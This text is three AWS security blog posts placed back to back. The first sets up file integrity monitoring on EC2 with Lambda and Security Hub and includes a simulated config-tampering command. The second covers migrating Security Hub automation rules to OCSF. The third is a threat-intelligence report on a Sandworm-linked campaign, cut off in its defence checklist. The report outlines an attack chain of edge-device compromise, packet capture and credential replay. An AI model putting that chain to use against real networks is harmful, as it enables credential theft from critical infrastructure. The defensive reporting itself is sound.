Customers need solutions to track inventory data such as files and software across Amazon Elastic Compute Cloud (Amazon EC2) instances, detect unauthorized changes, and integrate alerts into their existing security workflows.

In this blog post, I walk you through a highly scalable serverless file integrity monitoring solution. It uses AWS Systems Manager Inventory to collect file metadata from Amazon EC2 instances. The metadata is sent through the Systems Manager Resource Data Sync feature to a versioned Amazon Simple Storage Service (Amazon S3) bucket, storing one inventory object for each EC2 instance. Each time a new object is created in Amazon S3, an Amazon S3 Event Notification triggers a custom AWS Lambda function. This Lambda function compares the latest inventory version with the previous one to detect file changes. If a file that isn’t expected to change has been created, modified, or deleted, the function creates an actionable finding in AWS Security Hub. Findings are then ingested by Amazon Security Lake in a standard OCSF format, which centralizes and normalizes the data. Finally, the data can be analyzed using Amazon Athena for one-time queries, or by building visual dashboards with Amazon QuickSight and Amazon OpenSearch Service. Figure 1 summarizes this flow:

Figure 1: File integrity monitoring workflow

This integration offers an alternative to the default AWS Config and Security Hub integration, which relies on limited data (for example, no file modification timestamps). The solution presented in this post provides control and flexibility to implement custom logic tailored to your operational needs and support security-related efforts.

This flexible solution can also be used with other Systems Manager Inventory metadata, such as installed applications, network configurations, or Windows registry entries, enabling custom detection logic across a wide range of operational and security use cases.

Now let’s build the file integrity monitoring solution.

Before you get started, you need an AWS account with permissions to create and manage AWS resources such as Amazon EC2, AWS Systems Manager, Amazon S3, and Lambda.

Start by launching an EC2 instance and creating a file that you will later modify to simulate an unauthorized change.

Create an AWS Identity and Access Management (IAM) role to allow the EC2 instance to communicate with Systems Manager:

1. Open the AWS Management Console and go to IAM, choose Roles from the navigation pane, and then choose Create role.
2. Under Trusted entity type, select AWS service, select EC2 as the use case, and choose Next.
3. On the Add permissions page, search for and select the AmazonSSMManagedInstanceCore IAM policy, then choose Next.
4. Enter SSMAccessRole as the role name and choose Create role.
5. The new SSMAccessRole should now appear in your list of IAM roles:

Figure 2: Create an IAM role for communication with Systems Manager

Start an EC2 instance:

1. Open the Amazon EC2 console and choose Launch Instance.
2. Enter a Name, keep the default Linux Amazon Machine Image (AMI), and select an Instance type (for example, t3.micro).
3. Under Advanced details:
   1. IAM instance profile, select the previously created SSMAccessRole
   2. Create a fictitious payment application configuration file in the /etc/paymentapp/ folder on the EC2 instance. Later, you will modify it to demonstrate a file-change event for integrity monitoring. To create this file during EC2 startup, copy and paste the following script into User data.

#!/bin/bash
mkdir -p /etc/paymentapp
echo "db_password=initial123" > /etc/paymentapp/config.yaml

Figure 3: Adding the application configuration file

4. Leave the remaining settings as default, choose Proceed without key pair, and then select Launch Instance. A key pair isn’t required for this demo because you use Session Manager for access.

If Security Hub and Security Lake are already enabled, you can skip to Step 3.
To start, enable Security Hub, which collects and aggregates security findings. AWS Security Hub CSPM adds continuous monitoring and automated checks against best practices.

1. Open the Security Hub console.
2. Choose Security Hub CSPM from the navigation pane and then select Enable AWS Security Hub CSPM and choose Enable Security Hub CSPM at the bottom of the page.

Note: For this demo, you don’t need the Security standards options and can clear them.

Figure 4: Enable Security Hub CSP

Next, activate Security Lake to start collecting actionable findings from Security Hub:

1. Open the Amazon Security Lake console and choose Get Started.
2. Under Data sources, select Ingest specific AWS sources.
3. Under Log and event sources, select Security Hub (you will use this only for this demo):

Figure 5: Select log and event sources

1. Under Select Regions, choose Specific Regions and make sure you select the AWS Region that you’re using.
2. Use the default option to Create and use a new service role.
3. Choose Next and Next again, then choose Create.

With Security Hub and Security Lake enabled, the next step is to enable Systems Manager Inventory to collect file metadata and configure a Resource Data Sync to export this data to S3 for analysis.

1. Create an S3 bucket by carefully following the instructions in the section To create and configure an Amazon S3 bucket for resource data sync.
2. After you created the bucket, enable versioning in the Amazon S3 console by opening the bucket’s Properties tab, choosing Edit under Bucket Versioning, selecting Enable, and saving your changes. Versioning causes each new inventory snapshot to be saved as a separate version, so that you can track file changes over time.

Note: In production, enable S3 server access logging on the inventory bucket to keep an audit trail of access requests, enforce HTTPS-only access, and enable CloudTrail data events for S3 to record who accessed or modified inventory files.

The next step is to enable Systems Manager Inventory and set up the resource data sync:

1. In the Systems Manager console, go to Fleet Manager, choose Account management, and select Set up inventory.
2. Keep the default values but deselect every inventory type except File. Set a Path to limit collection to the files relevant for this demo and your security requirements. Under File, set the Path to: /etc/paymentapp/.

Figure 6: Set the parameters and path

1. Choose Setup Inventory.
2. In Fleet Manager, choose Account management and select Resource Data Syncs.
3. Choose Create resource data sync, enter a Sync name, and enter the name of the versioned S3 bucket you created earlier.
4. Select This Region and then choose Create.

Next, complete the setup to detect changes and create findings. Each time Systems Manager Inventory writes a new object to Amazon S3, an S3 Event Notification triggers a Lambda function that compares the latest and previous object versions. If it finds created, modified, or deleted files, it creates a security finding. To accomplish this, you will create the Lambda function, set its environment variables, add the helper layer, and attach the required permissions.

The following is an example finding generated in AWS Security Finding Format (ASFF) and sent to Security Hub. In this example, you see a notification about a file change on the EC2 instance listed under the Resources section.

{
	...
"Id": "fim-i-0b8f40f4de065deba-2025-07-12T13:48:31.741Z",
	"AwsAccountId": "XXXXXXXXXXXX",
	"Types": [
		"Software and Configuration Checks/File Integrity Monitoring"
	],
	"Severity": {
		"Label": "MEDIUM"
	},
	"Title": "File changes detected via SSM Inventory",
	"Description": "0 created, 1 modified, 0 deleted file(s) on instance i-0b8f40f4de065deba",
	"Resources": [
		{
			"Type": "AwsEc2Instance",
			"Id": "i-0b8f40f4de065deba"
		}
	],
	...
}

This function detects file changes, reports findings, and removes unused Amazon S3 object versions to reduce costs.

1. Open the Lambda console and choose Create function in the navigation pane.
2. For Function Name enter fim-change-detector.
3. Select Author from scratch, enter a function name, select the latest Python runtime, and choose Create function.
4. On the Code tab, paste the following main function and choose Deploy.

import boto3, os, json, re
from datetime import datetime, UTC
from urllib.parse import unquote_plus
from helpers import is_critical, load_file_metadata, is_modified, extract_instance_id

s3 = boto3.client('s3')
securityhub = boto3.client('securityhub')

CRITICAL_FILE_PATTERNS = os.environ["CRITICAL_FILE_PATTERNS"].split(",")
SEVERITY_LABEL = os.environ["SEVERITY_LABEL"]
	
def lambda_handler(event, context):
	# Safe event handling
	if "Records" not in event or not event["Records"]:
		return

	# Extract S3 event
	record = event['Records'][0]
	bucket = record['s3']['bucket']['name']
	key = unquote_plus(record['s3']['object']['key'])
	current_version = record['s3']['object'].get('versionId')
	if not current_version:
		return

	# Fetching the region name
	account_id = context.invoked_function_arn.split(":")[4]
	region = boto3.session.Session().region_name

	# Get object versions (latest first)
	versions = s3.list_object_versions(Bucket=bucket, Prefix=key).get('Versions', [])
	versions = sorted(versions, key=lambda v: v['LastModified'], reverse=True)

	# Find previous version
	idx = next((i for i,v in enumerate(versions) if v["VersionId"] == current_version), None)
	if idx is None or idx + 1 >= len(versions):
		return
	prev_version = versions[idx+1]["VersionId"]

	# Load both versions
	current = load_file_metadata(bucket, key, current_version)
	previous = load_file_metadata(bucket, key, prev_version)

	# Compare
	created = {p for p in set(current) - set(previous) if is_critical(p)}
	deleted = {p for p in set(previous) - set(current) if is_critical(p)}
	modified = {p for p in set(current) & set(previous) if is_critical(p) and is_modified(p, current, previous)}

	# Report if changes were found
	if created or deleted or modified:
		instance_id = extract_instance_id(bucket, key, current_version)
		now = datetime.now(UTC).isoformat(timespec='milliseconds').replace('+00:00', 'Z')
		finding = {
			"SchemaVersion": "2018-10-08",
			"Id": f"fim-{instance_id}-{now}",
			"ProductArn": f"arn:aws:securityhub:{region}:{account_id}:product/{account_id}/default",
			"AwsAccountId": account_id,
			"GeneratorId": "ssm-inventory-fim",
			"CreatedAt": now,
			"UpdatedAt": now,
			"Types": ["Software and Configuration Checks/File Integrity Monitoring"],
			"Severity": {"Label": SEVERITY_LABEL},
			"Title": "File changes detected via SSM Inventory",
			"Description": (
				f"{len(created)} created, {len(modified)} modified, "
				f"{len(deleted)} deleted file(s) on instance {instance_id}"
			),
			"Resources": [{"Type": "AwsEc2Instance", "Id": instance_id}]
		}
		securityhub.batch_import_findings(Findings=[finding])

	# No change – delete older S3 version
	else:
		if prev_version != current_version:
			try:
				s3.delete_object(Bucket=bucket, Key=key, VersionId=prev_version)
			except Exception as e:
				print(f"Delete previous S3 object version failed: {e}")

Note: In production, set Lambda reserved concurrency to prevent unbounded scaling, configure a dead letter queue (DLQ) to capture failed invocations, and optionally attach the function to an Amazon VPC for network isolation.

Configure the two required environment variables in the Lambda console. These two variables (one for critical paths to monitor and one for security finding severity) must be set or the function will fail.

1. Open the Lambda console and choose Configuration and then select Environment variables.
2. Choose Edit and then choose Add environment variable.
3. Under Key, choose CRITICAL_FILE_PATTERNS
   1. Enter ^/etc/paymentapp/config.*$ as the value.
   2. Set the SEVERITY_LABEL to MEDIUM.

Figure 7: CRITICAL_FILE_PATTERNS and SEVERITY_LABEL configuration

The next step is to attach permissions to the Lambda function

1. In your Lambda function, choose Configuration and then select Permissions.
2. Under Execution role, select the role name that will lead to the role in IAM.
3. Choose Add permissions and select Create inline policy. Select JSON view.
4. Paste the following policy, and make sure to replace <bucket-name> with the name of your S3 bucket, and you also update <region> and <account-id> with your AWS Region and Account ID:

{
"Version": "2012-10-17",
"Statement": [
	{
		"Effect": "Allow",
		"Action": "securityhub:BatchImportFindings",
		"Resource": "arn:aws:securityhub:<region>:<account-id>:product/<account-id>/default"
	},
	{
		"Effect": "Allow",
		"Action": [
			"s3:GetObject",
			"s3:GetObjectVersion",
			"s3:ListBucketVersions",
			"s3:DeleteObjectVersion"
		],
		"Resource": [
			"arn:aws:s3:::<bucket-name>",
			"arn:aws:s3:::<bucket-name>/*"
			]
		}
	]
}

5. To finalize, enter a Policy name and choose Create policy.

For better modularity, add some helper functions to a Lambda layer. These functions are already referenced in the import section of the preceding Lambda function’s Python code. The helper functions check critical paths, load file metadata, compare modification times, and extract the EC2 instance ID.

Open AWS CloudShell from the top-right corner of the AWS console header, then copy and paste the following script and press Enter. It creates the helper layer and attaches it to your Lambda function.

#!/bin/bash
set -e
FUNCTION_NAME="fim-change-detector"
LAYER_NAME="fim-change-detector-layer"

mkdir -p python
cat > python/helpers.py << 'EOF'
import json, re, os
from dateutil.parser import parse as parse_dt
import boto3
s3 = boto3.client('s3')
CRITICAL_FILE_PATTERNS = os.environ.get("CRITICAL_FILE_PATTERNS", "").split(",")

def is_critical(path):
	return any(re.match(p.strip(), path) for p in CRITICAL_FILE_PATTERNS if p.strip())

def load_file_metadata(bucket, key, version_id):
	obj = s3.get_object(Bucket=bucket, Key=key, VersionId=version_id)
	data = {}
	for line in obj['Body'].read().decode().splitlines():
		if line.strip():
			i = json.loads(line)
			n, d, m = i.get("Name","").strip(), i.get("InstalledDir","").strip(), i.get("ModificationTime","").strip()
			if n and d and m: data[f"{d.rstrip('/')}/{n}"] = m
	return data

def is_modified(path, current, previous):
	try: return parse_dt(current[path]) != parse_dt(previous[path])
	except: return current[path] != previous[path]

def extract_instance_id(bucket, key, version_id):
	obj = s3.get_object(Bucket=bucket, Key=key, VersionId=version_id)
	for line in obj['Body'].read().decode().splitlines():
		if line.strip():
			r = json.loads(line)
			if "resourceId" in r: return r["resourceId"]
	return None
EOF

zip -r helpers_layer.zip python >/dev/null
LAYER_VERSION_ARN=$(aws lambda publish-layer-version \
	--layer-name "$LAYER_NAME" \
	--description "Helper functions for File Integrity Monitoring" \
	--zip-file fileb://helpers_layer.zip \
	--compatible-runtimes python3.13 \
	--query 'LayerVersionArn' \
	--output text)

aws lambda update-function-configuration \
	--function-name "$FUNCTION_NAME" \
	--layers "$LAYER_VERSION_ARN" >/dev/null
echo "Layer created and attached to the Lambda function."

Finally, set up S3 Event Notifications to trigger the Lambda function when new inventory data arrives.

1. Open the S3 console and select the Systems Manager Inventory bucket that you created.
2. Choose Properties and select Event notifications.
3. Choose Create event notification.
   1. Enter an Event name.
   2. In the Prefix field, enter AWS%3AFile/ to limit Lambda triggers to file inventory objects only.
      Note: The prefix contains a : character, which must be URL-encoded as %3A.
   3. Under Event types, select Put.
   4. At the bottom, select your newly created Lambda function, and choose Save changes.

In this example, inventory collection runs every 30 minutes (48 times each day) but can be adjusted based on security requirements to optimize costs. The Lambda function is triggered once for each instance whenever a new inventory object is created. You can further reduce event volume by filtering EC2 instances through S3 Event Notification prefixes, enabling focused monitoring of high-value instances.

Now that the EC2 instance is running and the sample configuration file /etc/paymentapp/config.yaml has been initialized, you’re ready to simulate an unauthorized change to test the file integrity monitoring setup.

1. Open the Systems Manager console.
2. Go to Session Manager and choose Start session.
3. Select your EC2 instance and choose Start Session.
4. Run the following command to modify the file:

echo “db_password=hacked456" | sudo tee /etc/paymentapp/config.yaml

This simulates a configuration tampering event. During the next Systems Manager Inventory run, the updated metadata will be saved to Amazon S3.

To manually trigger this:

1. Open the Systems Manager console and choose State Manager.
2. Select your association and choose Apply association now to start the inventory update.
3. After the association status changes to Success, check your SSM Inventory S3 bucket in the AWS:File folder and review the inventory object and its versions.
4. Open the Security Hub console and choose Findings. After a short delay, you should see a new finding like the one shown in Figure 8:

Figure 8: View file change findings

While Security Hub provides a centralized view of findings, you can deepen your analysis using Amazon Athena to run SQL queries directly on the normalized Security Lake data in Amazon S3. This data follows the Open Cybersecurity Schema Framework (OCSF), which is a vendor-neutral standard that simplifies integration and analysis of security data across different tools and services.

The following is an example Athena query:

SELECT
	finding_info.desc AS description,
	class_uid AS class_id,
	severity AS severity_label,
	type_name AS finding_type,
	time_dt AS event_time,
	region,
	accountid
FROM amazon_security_lake_table_us_east_1_sh_findings_2_0

Note: Be sure to adjust the FROM clause for other Regions. Security Lake processes findings before they appear in Athena, so expect a short delay between ingestion and data availability.
You will see a similar result for the preceding query, shown in Figure 9:

Figure 9: Athena query result in the Amazon Athena query editor

Security Lake classifies this finding as an OCSF 2004 Class, Detection Finding. You can explore the full schema definitions at OCSF Categories. For more query examples, see the Security Lake query examples.
For visual exploration and real-time insights, you can integrate Security Lake with OpenSearch Service and QuickSight, both of which now offer extensive generative AI support. For a guided walkthrough using QuickSight, see How to visualize Amazon Security Lake findings with Amazon QuickSight.

After testing the step-by-step guide, make sure to clean up the resources you created for this post to avoid ongoing costs.

1. Terminate the EC2 instance
2. Delete the Resource Data Sync and Inventory Association
3. Remove the Lambda function.
4. Disable Security Lake and Security Hub CSPM
5. Delete IAM roles created for this post
6. Delete the associated SSM Resource Data Sync and Security Lake S3 buckets.

In this post, you learned how to use Systems Manager Inventory to track file integrity, report findings to Security Hub, and analyze them using Security Lake.
You can access the full sample code to set up this solution in the AWS Samples repository.
While this post uses a single-account, single-Region setup for simplicity, Security Lake supports collecting data across multiple accounts and Regions using AWS Organizations. You can also use a Systems Manager resource data sync to send inventory data to a central S3 bucket.

Getting Started with Amazon Security Lake and Systems Manager Inventory provides guidance for enabling scalable, cloud-centric monitoring with full operational context.

A new version of AWS Security Hub is now generally available with new capabilities to aggregate, correlate, and contextualize your security alerts across Amazon Web Services (AWS) accounts. The prior version is now known as AWS Security Hub CSPM and will continue to be available as a unique service focused on cloud security posture management and finding aggregation.

One capability available in both services is automation rules. In both Security Hub and Security Hub CSPM, you can use automation rules to automatically update finding fields when the criteria they define are met. In Security Hub, automation rules can be used to send findings to third-party platforms for operational response. Many existing Security Hub CSPM users have automation rules for tasks such as elevating the severity of a finding because it affects a production resource or adding a comment to assist in remediation workflows. While both services offer similar automation rule functionality, rules aren’t synchronized across the two services. If you are an existing Security Hub CSPM customer looking to adopt the new Security Hub, you might be interested in migrating the automation rules that have already been built. This helps keep your automation rules processing close to where you’re reviewing findings. As of publication, this capability is included in the cost of the Security Hub essentials plan. For current pricing details, refer to the Security Hub pricing page.

This post provides a solution to automatically migrate automation rules from Security Hub CSPM to Security Hub, helping you maintain your security automation workflows while taking advantage of the new Security Hub features. If you aren’t currently using automation rules and want to get started, see Automation rules in Security Hub.

Security Hub CSPM uses the AWS Security Finding Format (ASFF) as the schema for its findings. This schema is fundamental to how automation rules are applied to findings as they are generated. Automation rules begin by defining one or more criteria and then selecting one or more actions that will be applied when the specified criteria are met. Each criterion specifies an ASFF field, an operator (such as equals or contains), and a value. Actions then update one or more ASFF fields.

The new version of Security Hub uses the Open Cybersecurity Schema Framework (OCSF), a widely adopted open-source schema supported by AWS and partners in the cybersecurity industry. Security Hub automation rules structurally work the same way as Security Hub CSPM rules. However, the underlying schema change means existing automation rules require transformation.

The solution provided in this post automatically discovers Security Hub CSPM automation rules, transforms them into the OCSF schema, and creates an AWS CloudFormation template that you can use to deploy them to your AWS account running the new version of Security Hub. Because of inherent differences between the ASFF and OCSF schemas, some rules can’t be automatically migrated, while others might require manual review after migration.

The following table show the current mapping between ASFF fields supported as criteria and their corresponding OCSF fields. These mappings may change in future service releases. Fields marked as N/A can’t be migrated and will require special consideration when migrating automation rules. They need to be redesigned in the new Security Hub. The solution provided in this post is designed to skip migration of rules with one or more ASFF criteria that don’t map to an OCSF field but will identify those rules in a report for your review.

The following table shows the ASFF fields that are supported as actions and their corresponding OCSF fields. Note that several action fields aren’t available in OCSF:

For Security Hub CSPM automation rules that include actions without OCSF equivalents, the solution is designed to migrate the rules but include only the supported actions. These rules will be designated as partially migrated in the rule description and the migration report. You can use this information to review and modify the rules before enabling them, helping to ensure that the new automation rules behave as expected.

This solution provides a set of Python scripts designed to assist with the migration of automation rules from Security Hub CSPM to the new Security Hub. Here’s how the migration process works:

1. Begin migration: The solution provides an orchestration script that initiates three sub-scripts and manages passing the proper inputs to them.
2. Discovery: The solution scans your Security Hub CSPM environment to identify and collect existing automation rules across specified AWS Regions.
3. Analysis: Each rule is evaluated to determine if it can be fully migrated, partially migrated, or requires manual intervention based on ASFF to OCSF field mapping compatibility.
4. Transformation: Compatible rules are automatically converted from the ASFF schema to the OCSF schema using predefined field mappings.
5. Template creation: The solution generates a CloudFormation template containing the transformed rules, maintaining their original order and Regional context.
6. Deployment: Review the generated template and deploy it to create the migrated rules in Security Hub, where they are created in a disabled state by default.
7. Validate and enable rules: Review each migrated rule in the AWS Management Console for Security Hub to verify its criteria, actions, and preview your current matching findings if applicable. After confirming that the rules work as intended individually and as a sequence, enable them to resume your automation workflows.

Figure 1: Architecture diagram showing scripts and how they interact with AWS

The solution, shown in Figure 1, consists of four Python scripts that work together to migrate your automation rules:

1. Orchestrator: Coordinates discovery, transformation, and generation along with reporting and logging
2. Rule discovery: Identifies and extracts existing automation rules from Security Hub CSPM across the Regions you specify
3. Schema transformation: Converts the rules from ASFF to OCSF format using the field mapping detailed earlier
4. Template generation: Creates CloudFormation templates that you can use to deploy the migrate rules

The scripts use credentials configured using the AWS Command Line Interface (AWS CLI) to discover existing Security Hub automation rules. For details on how to configure credentials using AWS CLI, see Setting up the AWS CLI.

Before running the solution, ensure you have the following components and permissions in place.

• Required software:
  • AWS CLI (latest version)
  • Python 3.12 or later
  • Python packages:
    • boto3 (latest version)
    • pyyaml (latest version)
• Required permissions:
  For rule discovery and transformation:
  • securityhub:ListAutomationRules
  • securityhub:BatchGetAutomationRules
  • securityhub:GetFindingAggregator
  • securityhub:DescribeHub
  • securityhub:ListAutomationRulesV2

  For template deployment:

  • cloudformation:CreateStack
  • cloudformation:UpdateStack
  • cloudformation:DescribeStacks
  • cloudformation:CreateChangeSet
  • cloudformation:DescribeChangeSet
  • cloudformation:ExecuteChangeSet
  • cloudformation:GetTemplateSummary
  • securityhub:CreateAutomationRuleV2
  • securityhub:UpdateAutomationRuleV2
  • securityhub:DeleteAutomationRuleV2
  • securityhub:GetAutomationRuleV2
  • securityhub:TagResource
  • securityhub:ListTagsForResource

Security Hub supports a delegated administrator account model when used with AWS Organizations. This delegated administrator account centralizes the management of security findings and service configuration across your organization’s member accounts. Automation rules must be created in the delegated administrator account in the home Region, and in unlinked Regions. Member accounts can’t create their own automation rules.

We recommend using the same account as the delegated administrator for Security Hub CSPM and Security Hub to maintain consistent security management. Configure your AWS CLI with credentials for this delegated administrator account before running the migration solution (see Setting up the AWS CLI for more information).

While this solution is primarily designed for delegated administrator deployments, it also supports single-account Security Hub implementations.

Before proceeding with the migration of your automation rules from Security Hub CSPM to Security Hub, it’s important to understand several key concepts that affect how rules are migrated and deployed. These concepts influence the migration process and the resulting behavior of your rules. Understanding them will help you plan your migration strategy and validate the results effectively.

By default, migrated rules are created in a DISABLED state, meaning the actions will not be applied to findings as they are generated. The solution can optionally create rules in an ENABLED state, but this is not recommended. Instead, create the rules in a DISABLED state, review each rule, preview matching findings, and then move the rule to an ENABLED state when ready.

The migration report details any rules that can’t be migrated because they include one or more Security Hub CSPM criteria that aren’t supported by the new Security Hub. These cases occur because of the differences between the ASFF and OCSF schemas. These rules require special attention because they can’t be automatically replicated with equivalent behavior. This is particularly important if you have Security Hub CSPM rules that depend on priority order.

When rules have actions that aren’t supported, they will still be migrated if at least one action is supported. Rules with partially supported actions are flagged in the migration report and the new automation rule description and should be reviewed.

Both Security Hub CSPM and Security Hub support a home Region that aggregates findings from linked Regions. However, their automation rules behave differently. Security Hub CSPM automation rules operate on a Regional basis. This means they only affect findings generated in the Region where they are created. Even if you use a home Region, Security Hub CSPM automation rules do not apply to the findings aggregated from linked Regions in the home Region. Security Hub supports automation rules defined in a home Region and applied to all linked Regions, and does not support the creation of automation rules in linked Regions. However, in Security Hub, unlinked Regions can still have their own automation rules that will affect only the findings generated in that Region. Unlinked Regions will need to have automation rules applied separately

The solution supports two deployment modes to handle these differences. The first mode, called Home Region, should be used for Security Hub deployments with a home Region enabled. This mode identifies Security Hub CSPM automation rules from specified Regions and then recreates them with an additional criteria to account for the Region the rule came from. Then, one CloudFormation template is generated that can be deployed in the home Region. The automation rules will still operate as intended because of the addition of the criteria for the original Region where it was created.

The second mode is called Region-by-Region. This mode is for users who don’t currently use a home Region. In this mode, the solution still discovers automation rules in the Regions specified but generates a unique CloudFormation template for each Region. The resulting templates can then be deployed one by one to the delegated administrator account for their corresponding Region. No additional criteria are added to the automation rule in this mode.

It is possible to use a home Region with Security Hub and link some Regions, but not all. If this is the case, run the Home Region mode for the home Region and all linked Regions. Then, re-run the solution in Region-by-Region mode for all unlinked Regions.

Both Security Hub CSPM and Security Hub automation rules have an order in which they are evaluated. This can be important for certain situations where different automation rules might apply to the same findings or take actions on the same fields. This solution preserves the original order of your automation rules.

If there are existing Security Hub automation rules, the solution creates the new automation rules beginning after the existing rules. For example, if you have 3 Security Hub automation rules and are migrating 10 new rules, the solution will assign orders 4 through 13 to the new rules.

When using the Home Region mode, the order of automation rules for each Region is preserved and clustered together in the final order. For example, if a user with three Security Hub automation rules in three different Regions migrates the rules, they will be migrated sequentially. The solution will first migrate all rules from Region 1 in their original order, followed by all rules from Region 2 in their original order, and finally all rules from Region 3 in their original order.

Now that you have the prerequisites in place and understand the basic concepts, you’re ready to deploy and validate the migration.

To deploy the migration:

1. Clone the Security Hub automation rules Migration Tool from the AWS samples GitHub repository:

git clone https://github.com/aws-samples/sample-SecurityHub-Automation-Rule-Migration.git

2. Run the scripts following the instructions of the README file, which will contain the most up-to-date implementation instructions. This will generate a CloudFormation template that will create the new Security Hub automation rules. Deploy the CloudFormation template using the AWS CLI or console. For more details, see the Create a stack from the CloudFormation console or the README file.

When deployment is complete, you can use the Security Hub console to review your migrated automation rules. Remember that rules are created in a DISABLED state by default. Review each rule’s criteria and actions carefully, checking that they match your intended automation workflow. You can also preview what existing findings would have matched each automation rule in the console.

To review and validate migrated rules:

1. Go to the Security Hub console and choose Automations from the navigation pane.

Figure 2: Security Hub Automations page

2. Select a rule and then choose Edit at the top of the page.

Figure 3: Security Hub automation rule details

3. Choose Preview matching findings. It’s possible that no findings will be returned even if the automation rule is behaving as expected. This means only that there are currently no findings matching the rule criteria in Security Hub. In this case, you can still review the rule criteria.

Figure 4: Security Hub Edit automation rule page

4. After validating a rule’s configuration, you can enable it through the console from the rule editing page. You can also update the CloudFormation stack. If you didn’t need to change any criteria or actions of your automation rules, you can re-run the scripts with the optional —create-enabled flag to reproduce the CloudFormation template with all rules enabled and deploy it as an update to the existing stack.

Pay attention to any rules that have partially migrated actions, which will be noted in the Description of each rule. This means one or more actions from the original rule in Security Hub CSPM aren’t supported in Security Hub and the rule might behave differently than intended. The solution also produces a migration report that includes which rules were partially migrated and specifies which actions from the original rule could not be migrated. Review these rules carefully because they might behave differently than expected and need to be modified or recreated.

Figure 5: Review the descriptions of partially migrated automation rules

The new AWS Security Hub provides enhanced capabilities for aggregating, correlating, and contextualizing your security findings. While the schema change from ASFF to OCSF brings improved interoperability and integration options, it requires existing automation rules to be migrated. The solution provided in this post helps automate this migration process through discovering your existing rules, transforming them to the new schema, and generating CloudFormation templates that preserve rule order and Regional context.

After migrating your automation rules, start by reviewing the migration report to identify any rules that weren’t fully migrated. Pay special attention to rules marked as partially migrated, because these might behave differently than their original versions. We recommend testing each rule in a disabled state and validating that rules work together as expected—especially rules that operate on the same fields—before enabling them in your environment.

To learn more about Security Hub and its enhanced capabilities, see the Security Hub User Guide.
If you have feedback about this post, submit comments in the Comments section below.

As we conclude 2025, Amazon Threat Intelligence is sharing insights about a years-long Russian state-sponsored campaign that represents a significant evolution in critical infrastructure targeting: a tactical pivot where what appear to be misconfigured customer network edge devices became the primary initial access vector, while vulnerability exploitation activity declined. This tactical adaptation enables the same operational outcomes, credential harvesting, and lateral movement into victim organizations’ online services and infrastructure, while reducing the actor’s exposure and resource expenditure.

Going into 2026, organizations must prioritize securing their network edge devices and monitoring for credential replay attacks to defend against this persistent threat. Based on infrastructure overlaps with known Sandworm (also known as APT44 and Seashell Blizzard) operations observed in Amazon’s telemetry and consistent targeting patterns, we assess with high confidence this activity cluster is associated with Russia’s Main Intelligence Directorate (GRU). The campaign demonstrates sustained focus on Western critical infrastructure, particularly the energy sector, with operations spanning 2021 through the present day.

Campaign scope and targeting: Amazon Threat Intelligence observed sustained targeting of global infrastructure between 2021-2025, with particular focus on the energy sector. The campaign demonstrates a clear evolution in tactics.

Timeline:

• 2021-2022: WatchGuard exploitation (CVE-2022-26318) detected by Amazon MadPot; misconfigured device targeting observed
• 2022-2023: Confluence vulnerability exploitation (CVE-2021-26084, CVE-2023-22518); continued misconfigured device targeting
• 2024: Veeam exploitation (CVE-2023-27532); continued misconfigured device targeting
• 2025: Sustained targeting of misconfigured customer network edge device targeting; decline in N-day/zero-day exploitation activity

Primary targets:

• Energy sector organizations across Western nations
• Critical infrastructure providers in North America and Europe
• Organizations with cloud-hosted network infrastructure

Commonly targeted resources:

• Enterprise routers and routing infrastructure
• VPN concentrators and remote access gateways
• Network management appliances
• Collaboration and wiki platforms
• Cloud-based project management systems

Targeting the “low-hanging fruit” of likely misconfigured customer devices with exposed management interfaces achieves the same strategic objectives, which is persistent access to critical infrastructure networks and credential harvesting for accessing victim organizations’ online services. The threat actor’s shift in operational tempo represents a concerning evolution: while customer misconfiguration targeting has been ongoing since at least 2022, the actor maintained sustained focus on this activity in 2025 while reducing investment in zero-day and N-day exploitation. The actor accomplishes this while significantly reducing the risk of exposing their operations through more detectable vulnerability exploitation activity.

While we did not directly observe the victim organization credential extraction mechanism, multiple indicators point to packet capture and traffic analysis as the primary collection method:

1. Temporal analysis: Time gap between device compromise and authentication attempts against victim services suggests passive collection rather than active credential theft
2. Credential type: Use of victim organization credentials (not device credentials) for accessing online services indicates interception of user authentication traffic
3. Known tradecraft: Sandworm operations consistently involve network traffic interception capabilities
4. Strategic positioning: Targeting of customer network edge devices specifically positions the actor to intercept credentials in transit

Compromise of infrastructure hosted on AWS: Amazon’s telemetry reveals coordinated operations against customer network edge devices hosted on AWS. This was not due to a weakness in AWS; these appear to be customer misconfigured devices. Network connection analysis shows actor-controlled IP addresses establishing persistent connections to compromised EC2 instances operating customers’ network appliance software. Analysis revealed persistent connections consistent with interactive access and data retrieval across multiple affected instances.

Credential replay operations: Beyond direct victim infrastructure compromise, we observed systematic credential replay attacks against victim organizations’ online services. In observed instances, the actor compromised customer network edge devices hosted on AWS, then subsequently attempted authentication using credentials associated with the victim organization’s domain against their online services. While these specific attempts were unsuccessful, the pattern of device compromise followed by authentication attempts using victim credentials supports our assessment that the actor harvests credentials from compromised customer network infrastructure for replay against target organizations’ online services. Actor infrastructure accessed victims’ authentication endpoints for multiple organizations across critical sectors through 2025, including:

• Energy sector: Electric utility organizations, energy providers, and managed security service providers specializing in energy sector clients
• Technology/cloud services: Collaboration platforms, source code repositories
• Telecommunications: Telecom providers across multiple regions

Geographic distribution: The targeting demonstrates global reach:

• North America
• Europe (Western and Eastern)
• Middle East
• The targeting demonstrates sustained focus on the energy sector supply chain, including both direct operators and third-party service providers with access to critical infrastructure networks.

  Campaign flow:

1. Compromise customer network edge device hosted on AWS.
2. Leverage native packet capture capability.
3. Harvest credentials from intercepted traffic.
4. Replay credentials against victim organizations’ online services and infrastructure.
5. Establish persistent access for lateral movement.

Amazon Threat Intelligence identified threat actor infrastructure overlap with group Bitdefender tracks as “Curly COMrades.” We assess these may represent complementary operations within a broader GRU campaign:

• Bitdefender’s reporting: Post-compromise host-based tradecraft (Hyper-V abuse for EDR evasion, custom implants CurlyShell/CurlCat)
• Amazon’s telemetry: Initial access vectors and cloud pivot methodology

This potential operational division, where one cluster focuses on network access and initial compromise while another handles host-based persistence and evasion, aligns with GRU operational patterns of specialized subclusters supporting broader campaign objectives.

Amazon remains committed to helping protect customers and the broader internet ecosystem by actively investigating and disrupting sophisticated threat actors.

Immediate response actions:

• Identified and notified affected customers of compromised network appliance resources
• Enabled immediate remediation of compromised EC2 instances
• Shared intelligence with industry partners and affected vendors
• Reported observations to network appliance vendors to help support security investigations

Disruption impact: Through coordinated efforts, since our discovery of this activity, we have disrupted active threat actor operations and reduced the attack surface available to this threat activity subcluster. We will continue working with the security community to share intelligence and collectively defend against state-sponsored threats targeting critical infrastructure.

Organizations should proactively monitor for evidence of this activity pattern:

1. Network edge device audit

